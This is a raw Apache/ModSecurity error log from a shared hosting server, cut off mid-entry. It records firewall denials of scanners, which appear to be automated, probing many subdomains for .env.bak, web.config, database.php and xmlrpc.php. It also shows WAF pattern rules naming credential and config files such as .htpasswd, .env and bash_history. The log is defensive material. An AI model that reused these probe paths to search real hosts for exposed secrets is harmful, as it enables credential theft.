https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:54.238682 2026] [security2:error] [pid 715691:tid 715956] [client 91.92.42.86:10880] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mrV-dFiaX9AtWiQoMAAAAX0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.240239 2026] [security2:error] [pid 715691:tid 715950] [client 91.92.42.86:10926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mrV-dFiaX9AtWiQoMQAAAXc"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.241450 2026] [security2:error] [pid 646876:tid 647097] [client 91.92.42.86:10898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/.env.bak"] [unique_id "ai30mtyTkdrNlD40tSHVYgAAAFk"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.267257 2026] [security2:error] [pid 646876:tid 647108] [client 91.92.42.86:10932] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/web.config"] [unique_id "ai30mtyTkdrNlD40tSHVZQAAAGQ"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.268001 2026] [security2:error] [pid 646876:tid 647019] [client 91.92.42.86:10952] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mtyTkdrNlD40tSHVZgAAAAs"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.309626 2026] [proxy:error] [pid 715691:tid 715867] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.309709 2026] [proxy:error] [pid 646876:tid 647132] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.309719 2026] [proxy_http:error] [pid 715691:tid 715867] [client 91.92.42.86:11006] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.309769 2026] [proxy_http:error] [pid 646876:tid 647132] [client 91.92.42.86:10976] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.310189 2026] [proxy:error] [pid 715691:tid 715867] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.310213 2026] [proxy_http:error] [pid 715691:tid 715867] [client 91.92.42.86:11006] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.310444 2026] [proxy:error] [pid 646876:tid 647132] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.310475 2026] [proxy_http:error] [pid 646876:tid 647132] [client 91.92.42.86:10976] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.319845 2026] [security2:error] [pid 715691:tid 715841] [client 91.92.42.86:11016] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mrV-dFiaX9AtWiQoOAAAAQo"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.324321 2026] [proxy:error] [pid 646876:tid 647066] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.324412 2026] [proxy_http:error] [pid 646876:tid 647066] [client 91.92.42.86:11020] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.325513 2026] [proxy:error] [pid 646876:tid 647066] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.325557 2026] [proxy_http:error] [pid 646876:tid 647066] [client 91.92.42.86:11020] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.385945 2026] [security2:error] [pid 715691:tid 715856] [client 91.92.42.86:11058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/.env.bak"] [unique_id "ai30mrV-dFiaX9AtWiQoOwAAARk"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.393935 2026] [proxy:error] [pid 715691:tid 715918] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.394028 2026] [proxy_http:error] [pid 715691:tid 715918] [client 91.92.42.86:11072] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.395551 2026] [proxy:error] [pid 715691:tid 715918] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.395606 2026] [proxy_http:error] [pid 715691:tid 715918] [client 91.92.42.86:11072] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.409705 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.108:58701] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:54.410124 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.108:58701] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:54.420774 2026] [security2:error] [pid 715691:tid 715913] [client 91.92.42.86:11086] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/web.config"] [unique_id "ai30mrV-dFiaX9AtWiQoQAAAAVI"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.501425 2026] [security2:error] [pid 715691:tid 715920] [client 91.92.42.86:11094] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mrV-dFiaX9AtWiQoQwAAAVk"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.520189 2026] [security2:error] [pid 715691:tid 715875] [client 210.217.96.217:53837] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30mrV-dFiaX9AtWiQoRAAAASw"] [Sat Jun 13 18:23:54.520349 2026] [security2:error] [pid 715691:tid 715875] [client 210.217.96.217:53837] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30mrV-dFiaX9AtWiQoRAAAASw"] [Sat Jun 13 18:23:54.528069 2026] [security2:error] [pid 715691:tid 715959] [client 91.92.42.86:11070] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mrV-dFiaX9AtWiQoRgAAAYA"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.531143 2026] [security2:error] [pid 715691:tid 715888] [client 91.92.42.86:42592] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "acc.bxz.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai30mrV-dFiaX9AtWiQoRQAAATk"], referer: http://acc.bxz.mybluehost.me/.env.bak [Sat Jun 13 18:23:54.531970 2026] [security2:error] [pid 646876:tid 647045] [client 91.92.42.86:11126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mtyTkdrNlD40tSHVeAAAACU"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.532519 2026] [proxy:error] [pid 715691:tid 715910] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.532614 2026] [proxy_http:error] [pid 715691:tid 715910] [client 91.92.42.86:11058] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.533760 2026] [proxy:error] [pid 715691:tid 715910] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:54.533804 2026] [proxy_http:error] [pid 715691:tid 715910] [client 91.92.42.86:11058] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.534919 2026] [security2:error] [pid 715691:tid 715868] [client 91.92.42.86:11130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mrV-dFiaX9AtWiQoSQAAASU"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.587120 2026] [security2:error] [pid 715691:tid 715951] [client 91.92.42.86:11158] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mrV-dFiaX9AtWiQoTQAAAXg"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.639689 2026] [security2:error] [pid 715691:tid 715938] [client 91.92.42.86:42628] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "acc.bxz.mybluehost.me"] [uri "/web.config"] [unique_id "ai30mrV-dFiaX9AtWiQoUwAAAWs"], referer: http://acc.bxz.mybluehost.me/web.config [Sat Jun 13 18:23:54.647113 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.91:37252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:54.647553 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.91:37252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:54.721430 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjA4L3Bvd2Vy [Sat Jun 13 18:23:54.721888 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjA4L3Bvd2Vy [Sat Jun 13 18:23:54.737680 2026] [security2:error] [pid 715691:tid 715921] [client 172.56.168.133:18324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30mrV-dFiaX9AtWiQoXAAAAVo"] [Sat Jun 13 18:23:54.737834 2026] [security2:error] [pid 715691:tid 715921] [client 172.56.168.133:18324] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30mrV-dFiaX9AtWiQoXAAAAVo"] [Sat Jun 13 18:23:54.776951 2026] [security2:error] [pid 715691:tid 715903] [client 91.92.42.86:11208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mrV-dFiaX9AtWiQoYQAAAUg"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.838957 2026] [security2:error] [pid 715691:tid 715953] [client 91.92.42.86:11214] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/web.config"] [unique_id "ai30mrV-dFiaX9AtWiQoYwAAAXo"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.848703 2026] [security2:error] [pid 715691:tid 715877] [client 91.92.42.86:11230] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env.bak"] [unique_id "ai30mrV-dFiaX9AtWiQoZQAAAS4"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.874426 2026] [security2:error] [pid 715691:tid 715902] [client 91.92.42.86:11242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mrV-dFiaX9AtWiQoawAAAUc"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.907928 2026] [security2:error] [pid 646876:tid 647107] [client 91.92.42.86:11282] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mtyTkdrNlD40tSHViAAAAGM"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.952205 2026] [security2:error] [pid 646876:tid 647047] [client 91.92.42.86:42736] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/web.config"] [unique_id "ai30mtyTkdrNlD40tSHVigAAACc"], referer: http://mail.acc.bxz.mybluehost.me/web.config [Sat Jun 13 18:23:54.967107 2026] [security2:error] [pid 715691:tid 715935] [client 91.92.42.86:11308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mrV-dFiaX9AtWiQocwAAAWg"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.978843 2026] [security2:error] [pid 646876:tid 646990] [remote 17.22.237.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30mtyTkdrNlD40tSHVjAAAH28"] [Sat Jun 13 18:23:54.995705 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.24:46454] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:54.996144 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.24:46454] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:55.019270 2026] [security2:error] [pid 715691:tid 715954] [client 91.92.42.86:42702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai30m7V-dFiaX9AtWiQodwAAAXs"], referer: http://mail.acc.bxz.mybluehost.me/.env.bak [Sat Jun 13 18:23:55.041759 2026] [security2:error] [pid 646876:tid 647128] [client 91.92.42.86:11318] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30m9yTkdrNlD40tSHVkQAAAHg"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:55.046603 2026] [security2:error] [pid 715691:tid 715856] [client 91.92.42.86:11320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_webmail/.env.bak"] [unique_id "ai30m7V-dFiaX9AtWiQoewAAARk"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:55.078853 2026] [access_compat:error] [pid 715691:tid 715765] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:55.079290 2026] [access_compat:error] [pid 715691:tid 715765] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:55.130420 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.21:36613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:55.130877 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.21:36613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:55.157708 2026] [security2:error] [pid 715691:tid 715917] [client 91.92.42.86:11356] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_webmail/web.config"] [unique_id "ai30m7V-dFiaX9AtWiQohgAAAVY"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:55.172254 2026] [security2:error] [pid 715691:tid 715875] [client 91.92.42.86:11364] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 